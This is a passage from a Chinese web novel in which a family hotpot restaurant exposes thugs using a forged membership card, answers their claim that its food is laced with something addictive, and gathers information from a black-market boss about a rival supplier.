“众所周知,在我们店办理会员后可以享受很多优惠。菜品折扣,积分换礼品,还有不定期的小礼品赠送。” “另外,我们的会员卡还可以同时授权给亲朋好友使用。” 这会儿,店里许多顾客都放下筷子走出来,听苏丽珍说话,平时热闹惯了的大厅里难得显得有些安静。 “我敢说,在我们店,这张卡最大程度地给大家带来了实惠和便捷。这也是我们对一直支持我家的老主顾的一次回馈。” “但是!”苏丽珍说到这里,忽然话音一转,“这张能给大家带来实惠和好处的卡,它也不是没有缺点的。” 这话一说完,围观客人的议论声骤然放大了许多。 这些人里,真正办了卡的其实连一半都没有,但是丝毫不影响大家凑热闹。 之前放话狡辩的跟班乙自觉抓住了苏丽珍的痛脚,立马冲着周围喊道:“大伙儿都听见了吧?连他们自己都说他们家的会员卡有问题!” 苏丽珍没搭理他,而是示意苏小麦去收银台把自家的会员卡拿过来。 为了入账方便,苏丽珍也给自家人办了一张卡,平时请人吃饭就用这张卡走账。 苏丽珍接过卡片,继续说道:“我们的会员卡唯一的缺点,就是它有可能会被人伪造。” “这张卡关联着顾客在店里的留存金和积分情况,一旦被人偷窃或者伪造,势必会给顾客和店里造成严重的损失。” “为了对得起顾客对我们的信任,当初我们在制作会员卡的时候想了很多办法。” “先说大家的卡如果不慎丢失,被别人捡去了,该怎么办。” 苏丽珍声音不疾不徐,十分沉稳。 “正常情况下,如果大家不慎丢失了卡片,可以立即到我们店收银台办理挂失。我们会重新给您办理一张新的会员卡,并将原卡上的资金转移到新卡上。” “至于有人冒用的问题……” 她将手里的卡片举起来,一边向众人展示,一边介绍道: “大家可以看到,我们的卡片正面就是卡主本人的亲笔签名。我们会通过签单、比对字迹,来确认使用这张卡的是否为顾客本人。” “一旦发现签字有问题,我们会立即冻结该卡片,任何人也无法动用卡上的金额。直到卡主本人来确认,这张卡才能继续使用。” 众人听完,不由纷纷点了点头。 别看现在推行义务教育这么多年了,但是即便在他们凤城市里,其实会写字的人也不算多。 很多人字都不会写,更别说是仿照别人签名了。 而且毕竟是当场签单,总不能让你对着卡片一笔一划描半天吧,那不是一看就有问题嘛! 说起来,国营饭店也是这样点菜、开票的流程,这里只不过多了一道签字的手续,并不算麻烦。 但是却能最大程度地保证个人账户的安全,他们倒是觉得人家饭店做到这个份儿上,已经十分尽心了。 苏丽珍看大家目露满意,继续道:“接下来,我们重点说一说防伪的问题。” 一听说这个“重点”,所有人都不自觉竖起了耳朵。 “当初,为了尽量杜绝这个问题,我们研究了许多防伪手段,第一个就是每张会员卡都有一个对应的编号。” “大家如果有会员卡的,可以拿出你们的卡片看一下。在卡片的左上角有一组数字,那就是大家的会员卡编号,每张会员卡的编号都是不同的。” 人群中办理了会员的人听完,立马好奇地掏出自己的会员卡看了起来。 旁边没有卡的也跟着凑热闹。 一时间,认识、不认识的,三三两两凑了好几堆儿。 “我们为了防止有人伪造会员卡,就在卡片卡主姓名的下端,同时标注了一行对应上面编号的英文数字。” “且为了排版美观,每个英文数字,我们只取前两位字母。” “如果在座的各位有懂英文的,不妨看一看这些卡片,是不是跟我说的一样!” 周围议论的声音越发大了! 不过很可惜,现在会英文的人很少,在场的人只能看着那酷似汉语拼音的字母干瞪眼。 跟班乙觉得这是自己的机会,忍不住又叫嚷起来:“会外国字了不起啊!老子是中国人,才看不懂你这鸟语!” “再说,你说是外国字,就是外国字了?反正这里没人能看懂,还不是随便你怎么说!” 苏丽珍冷笑一声:“会外国字确实没什么了不起,但是恰恰能防住你这种造假钻空子的小人!” “至于我是不是随便说的,你大可以试试,什么叫铁证如山!” 恰在这时,人群里忽然挤出一个年轻小伙子,看着苏丽珍有些不好意思道: “那个,小老板,你还记得我吗?我们一家之前在你这儿吃过饭……半份酸菜五花肉套餐,主食换成土豆白菜那个!” 苏丽珍楞了愣,很快认出了对方。 年前腊月初,这小伙子一家五口来吃饭。 就是因为那次曹金凤服务态度不好,她才下定决心要提升大家的服务意识。 小伙子见苏丽珍认出他,马上道:“我就是想说,我是凤城农业大学的,正好懂点英文,你说的我应该能看懂。如果有谁不信的话,我可以帮你们做个证明!” 最后那句话明显提高了音量—— 作者有话说:感谢在2023-06-1113:36:21~2023-06-1220:50:32期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:檐上月2瓶; 非常感谢大家对我的支持,我会继续努力的! 第108章 现在的大学生含金量是很高的,这身份拿出来足够让人另眼相待。 果然,周围的人一听小伙子是大学生,立马主动围了过来。 “哎,小伙子,能不能帮我看看这卡!上面真有外国字吗,我老好奇了!” 小伙子是个聪明人,马上道:“大爷,你先把你卡上的编号盖上,我试试拼一下底下的字母。要是能对上,就说明人家店老板真的懂英文!” 众人听完都跟着点头,觉得小伙子这主意不错。 那位老大爷立即用大拇指盖住了左上角的数字,只露出底下一行英文字母。 小伙子扫了一眼,就飞快道:“大爷,您是第265号吧!” 大爷一拍大腿,“哎呀妈呀,真对,我可不就是265号吗!” 一听小伙子给大爷说对了,其他人也纷纷拿着自己的会员卡,让小伙子帮他们瞧一瞧。 其实到了这会儿,大家也都已经相信了苏丽珍之前的话,不过难得碰上懂英文的大学生,大伙儿一个个稀罕得厉害,都想凑凑热闹。 小伙子便说道:“各位,其实我的几位同学也懂英文,他们也可以帮大家看看。” 说着,就朝门口的方向招呼了一声。 众人一听,立马自觉让出一条道,果然发现靠近大门的位置站着四个年轻人和一个老者。 几个年轻人当即热心地开始帮着大伙儿看卡片。 有小伙子这几个同学帮忙,拿着会员卡的顾客都跟着确认了一遍。 最终的结论是,果然每张会员卡底部的英文数字都与左上角编号相对应。 办了会员卡的人都激动不已。 “原来真的是英文啊!我的卡上还有英文字,哎妈呀,我可太厉害了!” “各位,我宣布,打今儿开始这张卡我就不离手了!咱这也算天天跟英语打交道了,哈哈哈!” 苏丽珍有些哭笑不得。 在大伙儿眼里,他们办的会员卡上有英文数字=他们天天见英文。 四舍五入,那就是他们也算半个会英文的人了! 不过说笑归说笑,大伙儿对于苏丽珍一家费心研究防伪卡片的举动,还是很认可的,不由纷纷夸赞道: “这卡片做得确实好,真是不容易伪造,把钱预存在店里我放心!” “是啊,苏老板一家有心了,以后咱们大伙儿也更安心了!” 因为这一遭,有不t少之前没有办理会员卡的客人,当场表示想要办卡。 苏丽珍粗粗数了一下,竟然不下十个人,这波完全可以说是意外之喜了。 当然,苏卫华手中跟班乙的那张会员卡,自然也被验出是假的了。 跟班乙这会儿已经没了招数,只能眼巴巴地看向三角眼。 三角眼此刻也是面色难看。 他没想到苏丽珍一家这么难对付,正较劲脑汁想着怎么翻盘时,却见苏丽珍冷冷地扫了他一眼,忽然朝着大门的方向扬声道:“公安同志,这边!” 却是曹金凤领着几名派出所的公安同志来了。 三角眼和几个跟班不由齐齐变了脸。 苏丽珍主动迎上前,对打头的公安说道:“秦所长,就是这几个人故意伪造我们店的会员卡,意图行骗。” “另外,我们还怀疑他们盗窃店里客户的会员卡,请公安同志们查证!” 秦所长是这边片区派出所的所长,跟卢警官一家是老相识。 当初他们开店的时候,卢警官还特意跟秦所长打过招呼,让对方平时多看顾几分。 估计也是因为这个原因,秦所长今天才亲自过来一趟。 秦所长简单了解了情况后,不由分说就要把几个混混带走。 三角眼和几个跟班吓的不行,三角眼更是出了一脑门子汗。 这跟他想的完全不一样! 虽然他知道这家店有背景,但是他没想到苏丽珍真的会把公安叫来。 毕竟在他印象里,现在的人不管好人、坏人,都不愿意跟公安扯上关系。遇事花点儿钱消灾,不就得了,至于一言不合就叫公安吗? 也是因为经常利用人们普遍不愿意把事情闹大的心理,所以他每每总能顺利捞到好处。 没想到今天竟然踢到了铁板! 这时的他心里又怕又急。 原本朱老板找他对付苏家的第一步,就是先试试朱老板伪造的会员卡能不能用。 要是这招可行,他们到时就做一批假卡散出去,让“珍珍火锅店”悄无声息地做赔本买卖。 等他们发现问题后,肯定要仔细调查,而那些真正的会员就避免不了跟着折腾一遍。到时候朱老板再找人引导一下言论,让那些人对“珍珍”不满。 如果这招不行,三角眼几个还打算假装吃坏肚子,借机把事情闹大,坏掉“珍珍”的名声,顺便再讹苏家一笔。 来之前,他们打听到“珍珍”家价格不便宜,为了省下朱老板给的“经费”,他手下的跟班乙主动献策,从自家邻居那里偷了一张真卡出来。 这样他们不花一分钱,就能大吃一顿不说,顺利的话,还能从朱家和苏家再各搞到一笔钱。 只是眼下,大餐一口没吃着,计划更是一个没实现! 搞不好,还要马上去吃牢饭,三角眼格外不甘心。 眼见着两个公安直奔他而来,三角眼慌乱之下,脑子里灵光一闪,忽然大喊道:“公安同志,我要举报!” “我举报、我举报……举报他们店的火锅里放了不好的东西!” “对、对,就是这样!公安同志,我听人说吃了他们店里的东西后就想再吃!” “这不正常,肯定是他们往吃的里放了什么东西,能让人上瘾!公安同志,你们快查查他们!” 苏卫华夫妻和店里的员工都气的不轻,纷纷朝着三角眼吼道: “闭嘴!” “混蛋,你胡说!” 三角眼不甘示弱,“我没胡说,你们急了,证明你们心虚了!” 苏卫华见势不好,连忙对秦所长和几个公安说道:“秦所长,我们家绝对没做那样的事,我们是遵纪守法的!他这是故意污蔑我们! 尽管苏卫华这么说,但是三角眼的话还是掀起了众人心里的波澜。 其实大家也不是看不出,那混混是不甘心被带走,在有意攀扯。 但是这混混无意中也说对了一句,那就是这店里的东西确实是让人吃了上顿,想下顿。 不管是火锅,还是卤味,那味道好的能甩出周边大大小小国营饭店几条街! “木秀于林,风必摧之。” 太过优秀的东西往往会吸引来更多的关注,而关注点多了,难免有人跑偏。 眼下,周围的很多客人就有些不受控制地想歪。 不说这家的卤味,就说最简单的骨汤火锅,怎么他们自己在家就死活做不出那个味呢? 不得不说,三角眼无意中说中了许多人的小心思。 苏丽珍冷冷看着三角眼,“我们问心无愧,而且也愿意随时接受检查。公安同志们明察秋毫,肯定不会相信你这个骗子胡乱攀扯!” 三角眼挑衅道:“说什么检查,谁不知道你们家的锅底和卤味都是提前做好的,大伙儿就算想查也查不出来啊!” “你要是真的问心无愧,那你就当着我们大伙的面,把你们家的火锅和卤味都做一遍,你们敢吗?” 这话一出,不说苏家人,就是店里的员工都要气炸了。 把店里的火锅和卤味当着众人面做一遍,那不就是把自家的配方明晃晃亮出来吗? 而围观的人则没有出声。这件事损害不到他们的利益,相反,还帮他们解了心疑,其实对他们是有利的。 只不过让人家亮出秘方这种事,实在有些过火,搁谁也不能答应,所以他们一时也不知道说什么好。 大厅里一时陷入了诡异的安静,跟苏家有关的每个人都觉得这气氛难受。 秦所长也皱起了眉。 他当警察这么多年,形形色色的人见的太多了,一看这种情况就知道这混子的话起了作用。 毕竟人在涉及到有关自己利益的时候,总会下意识把自己的防备心提到最高,常常听风就是雨。 他自己私下也常来这家店吃火锅,也办了会员卡。他本身不好吃,办卡纯粹是为了方便带手底下人偶尔来小聚一下。 按他来看,苏家的东西味道确实不错,但也达不到让人上瘾的程度。 而且他也觉得,能让卢局这个老领导特意打招呼关照的人家,人品应该错不了。 他自己相信自己的判断,更相信卢局一家的眼光,所以当即决定帮苏家一把。 然而,就在他准备开口呵斥三角眼的时候,旁边忽然响起一道温和的声音。 “其实这件事并不难解决。” 众人闻声声望去,竟是跟那几个农业大学的大学生一起的老者开了口。 老者笑呵呵地跟众人解释:“我是农业大学的老师,我姓赵。” “我们实验室里有专门的化验检测设备,虽说平时都是拿来化验种子、土壤之类的,但是化验食物也是可以的。” 苏家人立刻明白了老者的意思,苏丽珍当即感激道:“赵老,谢谢您,我想把我们家的锅底和老卤拿去您的实验室化验。” 赵老笑着点头:“可以。” 苏丽珍于是又转头对众人道:“各位顾客,我敢保证我们家的食物绝对是安全无害的!等化验结果出来,我会立即张贴在店门口,请大家相信我们。” 她才说完,苏小麦和王树已经机灵地主动到后厨拿了干净的饭盒,从厨房里装了一些火锅锅底和老卤出来,交给老者的学生。 秦所长见状,知道不需要自己再说什么,别推了那三角眼一把,肃着脸道:“走,跟我们回去交代问题。” 苏卫华因为是事主,也需要到派出所配合调查。 眼见三角眼和几个跟班被带走,苏丽珍忽然发现,跟几人一起来的那个一直没出过声的魁梧青年竟然不见了。 这时,离人最近的齐志飞过来,低声道:“那人之前就走了。我看他身手不凡,担心动起手来,咱们吃亏,所以才没有出声。” 苏丽珍点头。早看出那人跟三角眼一伙人不是一路人。 既然对方离开了,可见并不想助纣为虐,苏丽珍自然也不会再找他麻烦。 闹事的人走了,赵老和几个学生也准备离开。 毕竟他们手上拿着检测样本,在饭店里久留,会让别人质疑检测的公正性。 赵老便笑着对之前主帮大家看英文的年轻小伙子笑道:“小石啊,看来咱们今天没有口福喽!” 年轻小伙子挠了挠头,对苏丽珍道:“小老板,我叫石磊。之前在你们这儿吃饭吃的很开心,所以我们教授说想请我们吃饭的时候,我就把他们都带过来了。” “我觉得小老板你是个好人,我绝对不相信你们会做对大家不好的事!我石磊是支持你们的!” 第109章 苏丽珍心里有些感动。 她不过是上次亲自接待了石磊一家,没想到就给石磊留下了好印象,所以才促使对方主动带自己的老师和同学来t吃饭,从而给自家帮了这么大个忙。 她也真诚地跟对方道谢:“石大哥,谢谢你。你的话,我会记在心里。一直没机会介绍,我叫苏丽珍,你喊我珍珍就好。” “这次来不及了,石大哥,下一次希望你能再带赵老和你的同学们过来,我请你们吃饭!” 被苏丽珍这样郑重其事地道谢,石磊反而有些不好意思。 他挠着脑袋点了点头,憨憨道:“好,珍珍,那下次我们再来。” 倒是旁边的赵老指着石磊笑道:“你这块憨石头啊,一听人家说请吃饭,你就要下次再来,你是真不客气啊!” 石磊反应过来,一下闹了个大红脸。 “我、我不是那个意思!” 把大家都给逗乐了。 末了,赵老又特地对苏丽珍说了几句话。 “小姑娘一看就是个爱学习的好孩子,知识面很广嘛!我看你们的卡片两侧还有一组罗马数字。” 罗马数字虽然简单、易分辨,但是对于现在的人来说,简直跟天书差不多,知道的人就更少了。 这一重重的防伪手段,见识少的人,可造不了这个假。 赵老继续道:“虽然我们今天没机会尝一尝你们家的饭菜。但是看你们在这张小小卡片上花费的心思,我就知道你们一家既是能沉下心做事的人、也是有心的人,所以你们一定会取得成功。” “小姑娘,不要害怕被质疑。只有站到了足够高度的人,才可能遭到别人的质疑。换个角度讲,这何尝不是另一种关注呢?” “所以一定要对自己有信心,要通过自己的努力和智慧,把这种负面程度的关注转变成正面的肯定。” “小姑娘,我相信凭你的能力,肯定会做到的。” 能受到陈老这样的认可和鼓励,苏丽珍既高兴又感激。 陈老的话无疑也是在告诉大家,他相信他们店没有做任何手脚,即便现在检测结果并没有出来。 而也正是因为有了陈老这一番话,在先前三角眼叫嚣时一直沉默的众人才渐渐醒过味儿来。 看苏家人坦坦荡荡的态度,怎么可能做那些不好的事呢? 人家的东西做的好吃,那是因为人家有自己钻研的秘方啊! 要是人人都会做,那还叫哪门子秘方? 反应过来的众人一时有些不好意思,尤其是那些来了很多次的老主顾,有心想说两句,又有点抹不开。 苏丽珍见状,主动道:“各位,实在是不好意思,因为闹事的人,耽误了大家吃饭。” “为了表示歉意,我们会给每桌上一份卤味拼盘。另外在座的每一桌今天都有八折优惠,有会员卡的顾客在会员优惠基础上再享八折。” 苏丽珍话音一落,周围的顾客纷纷道:“小老板,这也不能怪你们,你们不用打折。” “是啊,小老板,谁家还没遇到点事,我们理解!” 苏丽珍笑道:“谢谢各位体谅我们!不过我知道,大伙儿出来吃饭,不就是图个乐呵吗?” “一要食物味道好,二要吃的心情好!虽然今天的事不是出自我们本愿,但到底是发生在我们店里了,破坏了大家吃饭的好心情,这也是我们的责任。” “所以大伙儿不用客气,咱们饭照吃、折照打。我们就盼着大伙儿高高兴兴,以后常来!” 苏丽珍这丝毫不计较众人之前冷眼旁观的态度,叫大伙儿既暖心,又惭愧。 许多人觉得自己之前实在是小人之心。 也有一部分人悄悄扣问自己的良心,当三角眼要苏家公开配方的时候,他们真的只是单纯怀疑,没有一点觊觎人家秘方的想法吗…… 总之,经过这一遭,珍珍火锅店在众人心中的形象更好了。 中午的这十来桌客人,几乎桌桌都有人办了卡。 苏小麦一气儿就办出了十多张会员卡,别提多高兴了。 下午一点多钟,苏卫华才从派出所回来。 然而,他带回来的消息并不算太好。 那几个混子被带到派出所后,由秦所长亲自带人审问。 三角眼把所有的罪责都揽到了自己头上,说是他指使手下人偷窃别人的会员卡,然后自己又伪造了一张,准备骗吃喝用,结果被苏家人识破,没能得逞。 偷窃加诈骗未遂,秦所长说三角眼差不多能关个一年半载的。 他手底下那几个混混因为是从犯,罪名较轻,估计关个十天、半拉月就会放出来了。 苏丽珍听完蹙起了眉头。 她没想到那三角眼居然没有供出朱广才这个背后主谋,反而一力承担了所有罪责。 她倒不觉得三角眼是什么义薄云天,能为别人两肋插刀的人物。 要么是他得罪不起朱光才这个真正的主使者;要么就是对方许了他更大的好处,让他不惜坐牢也要维护对方。 不管怎么说,这朱广才算是又躲过一劫。 即便苏丽珍心里迫切地想要解决对方,但是因为现在手头上线索有限,也不敢贸然行动,就怕一击不中反生乱。 想到再有一天就开学了,能待在店里的时间不多了,苏丽珍多少也有些急切。 不过没想到,她很快就等来了机会。 第二天大清早,张表舅就过来了。 开口第一件事就说朱广才今天找过他,说是他自家亲戚想要帮他们收菜,他推辞不过,所以今后就不需要张表舅再来送货了。 朱广才这人心机深沉,全程话都没说死。似乎只要张表舅有什么“想法”,大家随时可以再合作。 除了这个,张表舅今天还有意外收获。 感觉到朱广才的耐心没多少了,前天那次没成,今天他索性又起了个大早,遵守在“朱记”附近,还真让他发现有人比他提早一个小时往“朱记”送货。 那人是用板车拉货,车上一筐筐的捂得十分严实,也看不出装得什么东西。 不过现在天气冷,就算是土豆白菜,也得捂严实了,所以也不好猜测。 接货的是朱广才本人,古怪的是,这俩人一直鬼鬼祟祟的,看着不大正常。 因为当时天还没亮,路灯昏暗,那送货的人又戴着帽子,张表舅只模模糊糊看到对方下巴上好像有颗挺大的黑痣。 但是知道了那人送货的具体时间,张表舅就想明天再去蹲守一次,争取看清楚那人长什么模样。 不过苏丽珍没同意。 如今干黑市的人,早些年也都是“投机倒把”分子,就没一个善茬。 何况跟朱广才接触的人,恐怕也不像刘五爷那样,正经做买卖。 张表舅今天没被发现,不代表明天也是安全的。 一旦起冲突,这些人下手狠厉,她不能让张表舅冒这个险。 想到刘五爷,苏丽珍忽然灵光一闪,有了个想法。 给“朱记”送货的人十有八九也是凤城干黑市的倒爷。 对于这些人,苏丽珍他们可能不熟,但是如今把控着凤城最大黑市的刘五爷肯定一清二楚。 想到这儿,她当即决定去拜访一下这位刘五爷。 让李翠英给她装了些新出锅的卤味,便出发了。 刘五爷的办事处,在东郊水泥厂和化肥厂家属区中间的一片胡同里。 这片胡同前面有一小片空地,六、七十年代的时候,这片空地一直是固定的地下黑市。 据说这个黑市一直是刘五爷管理,所以他的大本营也设在这里。 刘五爷就住在胡同区的一座独门大院里,据说是把左右邻居的房子都买下来打通建成的,如今整条胡同只有这一家,格外气派。 苏丽珍现在走的胡同就是人家的西侧外墙。 她心里有些羡慕。 家里的小洋楼虽然好,但是没有院子,出门就是大马路,未免有些吵闹,做生意还好,居住就一般了。 什么时候她也能给父母买这么一座有房有院的独栋别墅就好了…… 正想的入神,脚下忽然一个踉跄,她低头一看,居然是鞋带开了。 幸好没摔倒,要不然手里这些卤味都要报废了。 她忙蹲下身系鞋带。 这时,从前面拐角处忽然传来一阵说话声。 “杰哥,咱们还是把手镯拿回来吧!那是大娘留给你的遗物,当初你那么难都没舍得动…… 然后又是一道略显低沉的男声淡淡回道:“卖就卖了,东子他/妈的手术不能再拖了。五爷那边已经答应我,镯子会帮我留半年,到时候我会想办法再赎回来的。” 之前说话的人又犹豫着开口:“杰哥,要不……你把那200块钱先拿回去吧,我去求那家人,让他们再宽限一段时间…… 这次不等他说完,那个叫杰哥的人便打断对t方:“不行,梅子的事不能再耽误了!” “大河,梅子在外面受了这么多年的苦,好不容易才找回来,你不能再让她失望了!” “听话,咱们先去医院把手术费交了,然后我就陪你去接梅子。” 两个人说话的功夫,就从拐角处转了出来,看见蹲在地上系鞋带的苏丽珍,还愣了一下。 这边苏丽珍也不是有意听见他们说话,本想装作什么都没听见,起身就走。 没想到等抬头看清对方时,她自己也愣了一下。 原来两人中的一个,正是昨天跟几个混混来闹事,结果半途又悄悄离开的男青年! 她心里不免升起一股警惕,虽然这人昨天先走一步,并没有跟三角眼同流合污,但也不能说明对方就是好人。 所以她可不想在这种情况下跟对方碰头。 倒不是担心安全问题。毕竟这一片都是刘五爷的地盘,只要是来找刘五爷的人,还没有人敢在这附近动手。 这也是苏卫华夫妻放心她独自过来的原因。 只是她现在正在想办法对付“朱记”,怕这人撞见自己,万一他跟朱广才有牵扯,跑去提醒一句半句,以朱广才的心机,说不好要打草惊蛇。 好在今天她出门戴着帽子、围脖,捂得严严实实,估计对方不一定能认出她。 这么想着,她便慢慢放松下来,拎起东西,装作若无其事地往前走。 只是想不到,就在双方擦肩而过的时候,那青年突然停下脚步,侧过脸,锐利的目光直接扫了过来。 第110章 对方的眼神十分有压迫感,有一瞬间,苏丽珍简直觉得对方已经把她认出来了! 不过,她的芯子也不是真正的17岁小姑娘,所以面对这样的眼神,她也只是装作随意地回了一眼,然后淡定地继续往前走。 青年眼中不由划过一抹狐疑。 “杰哥,怎么了?”青年的同伴出声询问。 青年半晌才收回目光,“没事,走吧。” 听见身后的脚步声走远,苏丽珍这才松了口气。 正好拐过这个胡同,前面就是刘五爷家正门。 门口有个跟王树差不多大的小伙子看门。 这小伙子叫黑子,也是个机灵的,因为之前苏丽珍来过两次,所以被他一眼认了出来。 这会儿赶忙迎上前,客气道:“苏小老板好,我们五爷今天正好在家,您快里面请!” 苏丽珍从口袋里掏出一把奶糖递给对方,打听道:“黑子哥,刚才从你们这儿出来的两个人里,打头那个叫‘杰哥’的是什么人啊?你认识吗?” 黑子笑嘻嘻接过糖,一边仔细收进口袋里,一边回答道:“苏小老板,你说的是顾老大吧?” “他叫顾英杰,以前在我们五爷手底下干过一段时间,人很不错的。” 苏丽珍一听,不免有些诧异,“他还给五爷做过事?” 黑子点头,“顾老大家祖上是开镖局的,他们家的爷儿们都会几手功夫,老厉害了!” 他比了个大拇指的手势,接着道:“后来到了顾老大他爸那一辈,上面不让开镖局了,他爸就到武校做了老师。” “可惜他爸在他不大的时候,为了救一个落水的孩子淹死了。剩下孤儿寡母的,日子也不好过。” “再后来,顾老大就带着手底下几个兄弟给我们五爷做事。” “就是头几年吧,上面管的严,干我们这行的,那都得随时准备好吃牢饭的准备。胆子不大、心不细,根本干不了!” “顾老大自己会功夫,倒是适应得挺好,但是他那几个兄弟不知道是当时岁数小,还是胆气不够,反正连着出了几回篓子,差点牵连了别的兄弟。” “顾老大觉得对不住五爷,就带着人走了。” 黑子说到这里还叹了口气,似乎颇为惋惜。 “其实顾老大人挺好的,贼仗义。我们不少人都看好他,当初要是他不想走,肯定能留下。但是他讲义气,说放不下那几个兄弟。” “要是那会儿他留下,就凭他的身手和人品,肯定早成我们五爷的左膀右臂了。” 苏丽珍看他那老气横秋的样子,不由笑了起来。 黑子见她笑了,以为她不相信自己的话,连忙一挺胸脯,“苏小老板,你别看我年纪不大,今年才二十,但是我从十一岁就给我们五爷看门了,啥样的人我都见过!” “我这眼力还是有的,我说这顾老大好,也是有道理的。” 他凑近苏丽珍,小声道:“我知道这顾老大来干嘛!” “顾老大手底下一共有三个人,都是跟他从小一起长大的。” “听说其中一个人去年跟人打架,进去了。家里剩下一个老娘,一直是顾老大带人照顾着。” “这个老娘前些日子病了,需要一笔钱治病,顾老大就上我们五爷这儿借钱来了。” “刚刚听里边干活的兄弟叨咕了一嘴,说顾老大把他老娘的遗物都给抵押了。” “是不是贼仗义?反正我是挺佩服的!” 苏丽珍却是心里一动。 想起之前确实是听到那人的同伴提了一嘴“镯子”“遗物”之类的,又说要到医院交费,想来黑子的话应该都是真的。 再加上昨天的事,这顾英杰倒不像是个坏人。 说完话,苏丽珍便被黑子领进院子里,有人带路,直奔刘五爷平时办公的东厢房。 刘五爷见苏丽珍过来,十分热情,立即招呼手底下的人倒茶、端水果。 看苏丽珍拿了大包小包的卤味过来,更是高兴道:“大侄女啊,不怕你笑话,我是真稀罕你们家的卤味啊!” “你不知道,年前你送给我们的那些,我自己都没尝两口,就被那帮人抢个精光!” 苏丽珍笑道:“五爷您走南闯北,见识多,能得您喜欢,那对我们来说就是最大的夸奖。” “您也不用客气,以后什么时候想吃,就让来送货的师傅们招呼一声,我直接把当天新出锅的卤味让他们给您带回来。” 这话说的敞亮又亲切,刘爷五笑的越发开怀。 “你这小姑娘,小小年纪,倒爽快的很,比不少大老爷儿们都强,我看将来一准有出息!” 双方客套了几句,苏丽珍就进入了正题,跟对方打听起凤城干黑市的倒爷里,有没有下巴上长了颗大黑痣的人。 刘五爷听完,略一思索,点头道:“如果确定是干黑市买卖的,那我确实知道有这么个人。” 说罢,顿了顿,不动声色地反问苏丽珍:“大侄女怎么想起打听这人了?” 苏丽珍答道:“这个人现在正给我们邻街的‘朱记火锅店’送货。” 刘五爷闻言目光一闪。 苏丽珍见状,解释道:“五爷,您做事公道,讲究货真价实,我们店现在跟您合作很开心,也十分安心,自然没有别的想法。” “所以,您别误会,我打听这个人并不是有了别的心思,纯粹是冲着‘朱记’去的。” 见刘五爷挑了下眉,她继续道:“您是这一行泰山北斗一样的人物,凤城市场上现在大大小小的私营店面,您肯定一清二楚。” “那‘朱记’打从开业开始就对我们家使尽手段,如果不是我们小心,说不定早中了他们的招数。” “这种情况,就算是泥人也有三分土性,不可能总是被动挨打,既然是他家算计在先,就别怪我们出手回敬。” “五爷,我们现在就是想多方面打探‘朱记’的底细,做到知己知彼。” “当然,如果您是站在‘朱记’那边的,那就当我今天没来过。” 对刘五爷这样的老油条,苏丽珍没有找借口,选择坦诚相告。 在对付“朱记”这件事上,他们没有利益瓜葛,所以她没有隐瞒的必要。 果然,刘五爷听完,哈哈笑道:“看大侄女说的,我自然是向着你们的!” “那个‘朱记火锅店’虽然开店时间不长,但是我私底下也听说过,那位姓朱的老板也不是什么善茬。” “他可不像你们家,专心琢磨食物味道,而是把心思都用在了歪门邪道上。对于这样的人,我刘老五可看不上!” “大侄女,你说的那个下巴上长黑痣的人,我知道,他是西边郭赖子手底下的人。” “这个郭赖子也算是我的同行,不过这个人嘛……” 刘五爷说到这里,不禁摇了摇头。 “有些话,我本来不好说,毕竟传出去,大家还以为我们同行相轻。不过,我看大侄女眼明心亮,拎得清,所以我就有什么说什么了。” “我刘老五虽然t干的是黑市的买卖,但也讲究个货真价实,从来不坑蒙拐骗。” “但是这郭赖子可跟我不是一个路数,那是只要能挣钱,什么事都敢干的主!有些手段,别说你们这些外行人,就是我这个内行知道了也气得不行。” “我给大侄女讲个例子,就拿我们卖肉来说吧。” “我们到周边乡下,从农户手里收上了肉,转头再拉到市里来卖,这就是赚个辛苦钱。” “上面管的严,会叫会动的活物不方便,我们都是让农户就地屠宰收拾好了,再拉回来。” “冬天还好说,肉都冻的硬邦邦的,轻易坏不了,自然也能卖个好价钱。” “最怕天气热,天一热,运输时间但凡长一点,肉就有味儿了。即便拉回来也卖不上价,一个不好,说不好还要赔钱。” “依着我刘老五的性子,宁可不挣这个钱,也不能吃坏了人。” “但是有的人可就不这么想,比如这个郭赖子,他会托人到钢厂或者玻璃厂弄些硼砂出来,然后抹在生肉上。 “抹了硼砂的肉,颜色鲜艳,异味也会被遮盖,就算是腐坏变质也看不出来。” 苏丽珍听得心里一惊,她从没听说过这样的手段! 硼砂她知道,苏卫华以前是机械厂的,有时会用它来清洁金属表面。这东西据说还能做防腐剂和除菌、除锈剂,人是不能吃的! 这郭赖子简直缺德透顶! 那大黑痣既然是他的人,恐怕也不是什么好东西。 怪不得给“朱记”送货要偷偷摸摸的,恐怕经手的东西都有问题,不敢、也不能光明正大。 那边刘五爷继续道:“大侄女,咱们凤城干黑市买卖的人不少,我刘老五虽说在这一行里说话有些分量,但还到不了只手遮天的程度。” “有些人、有些事,我也是爱莫能助。所以今天这些话,出我口,入你耳。等出了这个门,我刘老五就不会认了。” “毕竟断人财路,犹如杀人父母。你心里有个数就行了。” 苏丽珍听明白了对方的话。黑市的水太深,刘五爷也只能保证自己人不去做那些丧良心的事,却管不了别人。 不过对方今天已经透露了不少,她想了解的也都差不多了,于是当即向对方表态:“五爷,您放心,我们只是想好好回敬‘朱记’,别的事情绝不会多嘴。” 见此行的目的已经达到,苏丽珍很快便准备告辞。 想了想,临出门之际,她又提醒了刘五爷两句。 “五爷,据我所知,因为现在待业的人越来越多,市里如今已经开始关注和重视个体经济的发展了。” “如果这时有个体户违规,闹出问题,那么就算为了达到震慑效果,方便今后管理,我相信有关部门也不会轻拿轻放。” “一旦查出‘朱记’违规,那这罪名肯定轻不了。” “老话说‘拔起萝卜带出泥’,作为‘朱记’的供货方,自然也跑不了。” 再说黑市买卖的市场就这么大,如果能解决掉郭赖子,那相应的市场也就空出来了。 苏丽珍不相信刘五爷对这块蛋糕不动心。 而对于苏丽珍来说,在个体经济刚起步的现阶段,少一个郭赖子,就能少一堆朱广才这样的黑心老板。 没有那些害群之马,包括他们“珍珍火锅店”在内的个体经营者才能发展的更好。 刘五爷明显把话听了进去。 等从刘五爷那里出来,苏丽珍在脑海里梳理了一遍信息,很快便想到了对付“朱记”的办法。 只不过办法好想,但是具体实施的人选却不太好找。 “苏小老板要走啦?” 大门口的黑子见她出来,立马远远招呼了一声。 看黑子那热情的笑脸,苏丽珍心思微动,忽然想到了一个办法。《 》 110-120 第111章 时近三月,尽管凤城的气温已经开始回暖,但是西北风冷冽的势头依然强劲。好在正午时分,日头高照,阳光洒在身上,也能带来融融暖意。 胡同里狭窄,孩子们又喜欢在天气暖的时候扎堆玩耍,所以从进胡同开始,顾英杰就没有再骑车,改为推着走。 